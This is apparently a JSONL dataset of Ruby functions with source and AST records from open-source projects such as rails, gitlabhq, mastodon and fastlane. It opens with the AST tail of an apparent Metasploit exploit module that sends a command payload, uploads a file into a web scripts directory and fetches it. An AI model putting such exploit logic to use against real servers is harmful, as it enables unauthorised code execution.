\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".b64\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]},{\"type\":\"str\",\"children\":[\" command payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generated command payload: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"command completed successfully\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Payload upload failed :(\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"panel_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload uploaded as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\" to C:\\\\wamp64\\\\www\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"panel_uri\"]}]},{\"type\":\"str\",\"children\":[\"\\\\server_side\\\\scripts\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"C:\\\\wamp64\\\\www\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"panel_uri\"]}]},{\"type\":\"str\",\"children\":[\"\\\\server_side\\\\scripts\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"This module currently doesn't support exploiting Linux targets! This error should never be hit!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"server_side\"]},{\"type\":\"str\",\"children\":[\"scripts\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"float\",\"children\":[2.5]}]}]}]}","id":"9a5aa4d9-4eac-4b7a-b2bf-f6938c059935"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":469,"raw_source":"def test_reverse\n    assert_equal([4, 3, 2, 1], @filters.reverse([1, 2, 3, 4]))\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"reverse\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}","id":"0b3c8060-1255-44a8-a91a-46876811c9c1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/template_path_test.rb","start_line":72,"raw_source":"def test_parse_deep_partial_with_slash\n    path = ActionView::TemplatePath.parse(\"/foo/bar/_baz\")\n    assert_equal \"foo/bar\", path.prefix\n    assert_equal \"baz\", path.name\n    assert_predicate path, :partial?\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_deep_partial_with_slash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"TemplatePath\"]},\"parse\",{\"type\":\"str\",\"children\":[\"/foo/bar/_baz\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo/bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"prefix\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"baz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"sym\",\"children\":[\"partial?\"]}]}]}]}","id":"69893c54-1193-4bed-a3b5-651a65e88a88"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/url_for_test.rb","start_line":228,"raw_source":"def test_without_protocol_and_with_port\n        add_host!\n        add_port!\n\n        assert_equal(\"//www.basecamphq.com:3000/c/a/i\",\n          W.new.url_for(controller: \"c\", action: \"a\", id: \"i\", protocol: \"//\")\n        )\n        assert_equal(\"//www.basecamphq.com:3000/c/a/i\",\n          W.new.url_for(controller: \"c\", action: \"a\", id: \"i\", protocol: false)\n        )\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_without_protocol_and_with_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_host!\"]},{\"type\":\"send\",\"children\":[null,\"add_port!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"//www.basecamphq.com:3000/c/a/i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"W\"]},\"new\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"//\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"//www.basecamphq.com:3000/c/a/i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"W\"]},\"new\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"7afdb991-643a-4f35-b743-537733cb1b9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/resource_label_event.rb","start_line":29,"raw_source":"def self.preload_label_subjects(events)\n    labels = events.map(&:label).compact\n    project_labels, group_labels = labels.partition { |label| label.is_a? ProjectLabel }\n\n    ActiveRecord::Associations::Preloader.new(records: project_labels, associations: { project: :project_feature }).call\n    ActiveRecord::Associations::Preloader.new(records: group_labels, associations: :group).call\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"preload_label_subjects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]}]}]},\"compact\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_labels\"]},{\"type\":\"lvasgn\",\"children\":[\"group_labels\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"ProjectLabel\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"project_labels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"sym\",\"children\":[\"project_feature\"]}]}]}]}]}]},\"call\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Associations\"]},\"Preloader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"records\"]},{\"type\":\"lvar\",\"children\":[\"group_labels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"associations\"]},{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]},\"call\"]}]}]}","id":"7de1e41c-b01c-4eb7-80e4-447041f42497"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/import_export/export_service.rb","start_line":106,"raw_source":"def log_info(message)\n        @logger.info(\n          message: message,\n          group_id: group.id,\n          group_name: group.name\n        )\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"name\"]}]}]}]}]}","id":"415362c2-b7de-4a11-a464-7459282b7b3f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/form/email_domain_block_batch.rb","start_line":6,"raw_source":"def save\n    case action\n    when 'delete'\n      delete!\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"delete\"]},{\"type\":\"send\",\"children\":[null,\"delete!\"]}]},null]}]}","id":"4bba664d-8991-4117-9eb4-61753e1213eb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/badge.rb","start_line":34,"raw_source":"def initialize(class_name_parts)\n        department_parts = class_name_parts[0...-1]\n        @department = (department_parts.join('/').to_sym unless department_parts.empty?)\n        @department_name = @department&.to_s\n        @cop_name = class_name_parts.last\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name_parts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"department_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name_parts\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@department\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department_parts\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"to_sym\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@department_name\",{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@department\"]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cop_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name_parts\"]},\"last\"]}]}]}]}","id":"3bb51704-5f9c-4c17-8027-0896eac1bb2c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/notification_levels.rb","start_line":5,"raw_source":"def self.all\n      @all_levels ||= Enum.new(muted: 0, normal: 1, tracking: 2, watching: 3)\n    end","complexity_score":2.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_levels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"muted\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normal\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tracking\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"watching\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}","id":"46abe466-7693-4a90-a814-7a5ac4b39104"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/login_service.rb","start_line":146,"raw_source":"def omniauth_provider_keys\n      provider_name = session[:omniauth_provider]\n      return [] unless provider_name\n\n      provider = ::OpenProject::Plugins::AuthPlugin.find_provider_by_name(provider_name)\n      return [] unless provider && provider[:retain_from_session]\n\n      provider[:retain_from_session]\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"omniauth_provider_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"provider_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"omniauth_provider\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_name\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenProject\"]},\"Plugins\"]},\"AuthPlugin\"]},\"find_provider_by_name\",{\"type\":\"lvar\",\"children\":[\"provider_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retain_from_session\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retain_from_session\"]}]}]}]}","id":"0787acb3-dd44-4522-9b6a-7408ad010957"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/slack/slack_message.rb","start_line":19,"raw_source":"def avatar\n      user[\"profile\"][\"image_24\"] if user\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"profile\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"image_24\"]}]},null]}]}","id":"4b5a4ea8-79e4-4969-bca8-d2466a8ea3bf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":271,"raw_source":"def capture_image_tag_names\n    self.image_tag_names = if resource.respond_to?(:container_image) && resource.container_image.present?\n                             resource.container_image.perf_tags\n                           else\n                             ''\n                           end\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_image_tag_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"image_tag_names=\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"container_image\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"container_image\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"container_image\"]},\"perf_tags\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"840a7bdd-4fc0-4149-a76d-4ce0e09f2989"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unmodified_reduce_accumulator.rb","start_line":176,"raw_source":"def potential_offense?(return_values, block_body, element_name, accumulator_name)\n          !(element_modified?(block_body, element_name) ||\n            returns_accumulator_anywhere?(return_values, accumulator_name))\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"potential_offense?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_values\"]},{\"type\":\"arg\",\"children\":[\"block_body\"]},{\"type\":\"arg\",\"children\":[\"element_name\"]},{\"type\":\"arg\",\"children\":[\"accumulator_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element_modified?\",{\"type\":\"lvar\",\"children\":[\"block_body\"]},{\"type\":\"lvar\",\"children\":[\"element_name\"]}]},{\"type\":\"send\",\"children\":[null,\"returns_accumulator_anywhere?\",{\"type\":\"lvar\",\"children\":[\"return_values\"]},{\"type\":\"lvar\",\"children\":[\"accumulator_name\"]}]}]}]},\"!\"]}]}","id":"76848e77-04d1-472d-9aff-c01bfb4c325d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_config/cli_methods.rb","start_line":49,"raw_source":"def query_queues(query_string, worker_metadatas)\n        matcher = SidekiqConfig::WorkerMatcher.new(query_string)\n        selected_metadatas = worker_metadatas.select do |worker_metadata|\n          matcher.match?(worker_metadata)\n        end\n\n        worker_names(selected_metadatas)\n      end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"query_queues\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_string\"]},{\"type\":\"arg\",\"children\":[\"worker_metadatas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matcher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SidekiqConfig\"]},\"WorkerMatcher\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"query_string\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"selected_metadatas\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"worker_metadatas\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matcher\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"worker_metadata\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"worker_names\",{\"type\":\"lvar\",\"children\":[\"selected_metadatas\"]}]}]}]}","id":"421350dd-3fe1-4ec6-8400-e6e0e9f78735"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/notifications.rb","start_line":306,"raw_source":"def example_count\n        @example_count ||= examples.size\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"example_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@example_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"examples\"]},\"size\"]}]}]}","id":"07525e82-8602-4616-bb29-6e3f4cf0ed04"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb","start_line":263,"raw_source":"def max_keytries\n    datastore['MAX_KEYTRIES']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_keytries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAX_KEYTRIES\"]}]}]}","id":"011f0544-4f3b-461d-8999-c0ff57812b33"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/link_details_extractor.rb","start_line":147,"raw_source":"def html\n    player_url.present? ? content_tag(:iframe, nil, src: player_url, width: width, height: height, allowfullscreen: 'true', allowtransparency: 'true', scrolling: 'no', frameborder: '0') : nil\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"player_url\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"iframe\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"src\"]},{\"type\":\"send\",\"children\":[null,\"player_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"send\",\"children\":[null,\"width\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"send\",\"children\":[null,\"height\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowfullscreen\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allowtransparency\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scrolling\"]},{\"type\":\"str\",\"children\":[\"no\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"frameborder\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"10e9f757-7f35-4e94-8f87-488b82621a9d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/encryption/openssl.rb","start_line":48,"raw_source":"def decrypt_files\n        files = []\n        password = fetch_password!\n        iterate(self.working_directory) do |current|\n          files << current\n          begin\n            decrypt_specific_file(path: current, password: password)\n          rescue => ex\n            UI.verbose(ex.to_s)\n            UI.error(\"Couldn't decrypt the repo, please make sure you enter the right password!\")\n            UI.user_error!(\"Invalid password passed via 'MATCH_PASSWORD'\") if ENV[\"MATCH_PASSWORD\"]\n            clear_password\n            self.decrypt_files # Call itself\n            return\n          end\n          UI.success(\"🔓  Decrypted '#{File.basename(current)}'\") if FastlaneCore::Globals.verbose?\n        end\n        UI.success(\"🔓  Successfully decrypted certificates repo\")\n        return files\n      end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[null,\"fetch_password!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iterate\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"working_directory\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decrypt_specific_file\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Couldn't decrypt the repo, please make sure you enter the right password!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MATCH_PASSWORD\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Invalid password passed via 